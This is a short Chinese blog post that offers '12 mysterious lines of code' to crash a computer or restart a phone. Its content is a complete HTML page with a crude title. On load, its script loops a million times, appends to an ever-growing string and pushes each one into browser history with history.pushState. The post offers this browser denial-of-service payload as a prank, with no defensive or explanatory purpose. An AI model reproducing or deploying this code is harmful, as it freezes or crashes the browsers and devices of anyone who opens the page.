神秘12行代码:让你电脑崩溃手机重启

20170422224016081608.png

<html>
<title>曹尼玛,死机了。</title>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>

 

 

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)